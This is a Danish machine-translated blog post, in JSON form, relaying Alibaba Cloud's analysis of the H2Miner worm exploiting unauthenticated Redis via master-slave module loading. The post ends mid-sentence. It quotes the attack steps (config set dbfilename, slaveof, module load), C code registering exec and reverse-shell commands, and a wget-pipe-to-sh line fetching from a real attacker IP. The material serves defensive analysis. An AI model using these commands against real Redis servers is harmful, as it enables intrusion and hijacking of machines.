{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/da\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"En ny udbrud af H2Minerorme er blevet opdaget, som udnytter Redis RCE","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

For en dag siden blev en af serverne i mit projekt angrebet af en lignende orm. I jagten p\u00e5 svaret p\u00e5 sp\u00f8rgsm\u00e5let \"hvad var det egentlig?\" fandt jeg en fantastisk artikel fra Alibaba Cloud Security-teamet. Da jeg ikke fandt denne artikel p\u00e5 Habr, besluttede jeg at overs\u00e6tte den specielt til dig <3\n<\/p><\/blockquote>\n

Introduktion<\/h2>\n

\nFor nylig opdagede Alibaba Cloud sikkerhedsteam en pludselig udbrud af H2Miner. Denne type skadelig orm udnytter manglende autentificering eller svage adgangskoder til Redis som porte til dine systemer, hvorefter den synkroniserer sin egen skadelige modul med slave via master-slave synkronisering og til sidst uploader denne skadelige modul til den angrebne maskine og udf\u00f8rer skadelige instruktioner.<\/p>\n

Tidligere blev angreb p\u00e5 dine systemer hovedsageligt udf\u00f8rt ved hj\u00e6lp af metoder, der involverede planlagte opgaver eller SSH-n\u00f8gler, som blev skrevet til din maskine efter, at angriberen havde logget ind i Redis. Heldigvis er denne metode ikke ofte anvendt p\u00e5 grund af problemer med tilladelseskontrol eller p\u00e5 grund af forskellige versioner af systemet. Ikke desto mindre kan denne metode til at downloade den skadelige modul direkte udf\u00f8re angriberens kommandoer eller give adgang til shell, hvilket er farligt for dit system.<\/p>\n

P\u00e5 grund af det store antal servere<\/a> Redis, der er hostet p\u00e5 internettet (n\u00e6sten 1 million), anbefaler Alibaba Cloud sikkerhedsteam som en venlig p\u00e5mindelse, at brugerne ikke giver adgang til Redis fra netv\u00e6rket og regelm\u00e6ssigt kontrollerer styrken af deres adgangskoder, samt om de er modtagelige for hurtig g\u00e6tning.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner er et mining-botnet for systemer baseret p\u00e5 Linux, der kan inficere dit system p\u00e5 forskellige m\u00e5der, herunder mangel p\u00e5 autentificering i Hadoop yarn, Docker, og s\u00e5rbarhed for fjernudf\u00f8relse af kommandoer i Redis (RCE). Botnettet fungerer ved at downloade skadelige scripts og skadelig software til at mine dine data, horisontalt udvide angrebet og opretholde en kommandokontrol (C&C) forbindelse.
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nViden om dette emne blev delt af Pavel Toporkov p\u00e5 ZeroNights 2018. Efter version 4.0 underst\u00f8tter Redis funktionen til at indl\u00e6se eksterne moduler, som giver brugerne mulighed for at indl\u00e6se .so-filer, der er kompileret med C, i Redis for at udf\u00f8re bestemte Redis-kommandoer. Denne funktion er nyttig, men indeholder en s\u00e5rbarhed, hvor filer kan synkroniseres til slave i master-slave-tilstand via fuld resynkronisering. Dette kan bruges af en angriber til at overf\u00f8re ondsindede .so-filer. N\u00e5r overf\u00f8rslen er afsluttet, indl\u00e6ser angriberne modulet p\u00e5 den angrebne Redis-instans og udf\u00f8rer enhver kommando.<\/p>\n

Analyse af ondsindet orm<\/h2>\n

\nFor nylig opdagede Alibaba Clouds sikkerhedsteam, at st\u00f8rrelsen p\u00e5 gruppen af ondsindede minearbejdere, H2Miner, pludselig er steget markant. If\u00f8lge analysen ser den overordnede proces for angreb ud som f\u00f8lger:<\/p>\n

\"En
\n
\nH2Miner anvender RCE Redis til et fuldendt angreb. F\u00f8rst angriber angriberne ubeskyttede Redis-servere eller servere med svage adgangskoder.<\/p>\n

Derefter bruger de kommandoen config set dbfilename red2.so<\/code> for at \u00e6ndre filnavnet. Efter dette udf\u00f8rer angriberne kommandoen slaveof<\/code> for at indstille slave-master-replikationsv\u00e6rtsadressen. <\/p>\n

N\u00e5r den angrebne Redis-instans opretter forbindelse til ondsindet Redis, som tilh\u00f8rer angriberen, sender angriberen det inficerede modul ved hj\u00e6lp af fuld resynkronisering for at synkronisere filerne. Derefter vil filen red2.so blive indl\u00e6st p\u00e5 den angrebne maskine. Herefter bruger angriberne indl\u00e6smodulet .\\\/red2.so for at indl\u00e6se denne .so-fil. Modulet kan udf\u00f8re angriberens kommandoer eller initiere en omvendt forbindelse (bagd\u00f8r) for at f\u00e5 adgang til den angrebne maskine.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nEfter udf\u00f8relsen af en ondsindet kommando, s\u00e5som \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, vil angriberen nulstille navnet p\u00e5 sikkerhedskopifilen og udf\u00f8re udtr\u00e6kningen af systemmodulet for at rydde sporene. Alligevel vil filen red2.so stadig v\u00e6re til stede p\u00e5 den angrebne maskine. Brugere anbefales at holde \u00f8je med s\u00e5danne mist\u00e6nkelige filer i mappen p\u00e5 deres Redis-instans.<\/p>\n
Udover at \u00f8del\u00e6gge nogle skadelige processer for at stj\u00e6le ressourcer, fulgte angriberen et ondsindet scenarie ved at downloade og k\u00f8re ondsindede filer i bin\u00e6rt format for at 142.44.191.122\/kinsing<\/a><\/noindex>. Dette betyder, at procesnavnet eller stinavnet, der indeholder kinsing p\u00e5 v\u00e6rten, kan indikere, at denne maskine er blevet inficeret med denne virus.<\/p>\n
If\u00f8lge resultaterne af reverse engineering udf\u00f8rer malware prim\u00e6rt f\u00f8lgende funktioner:<\/p>\n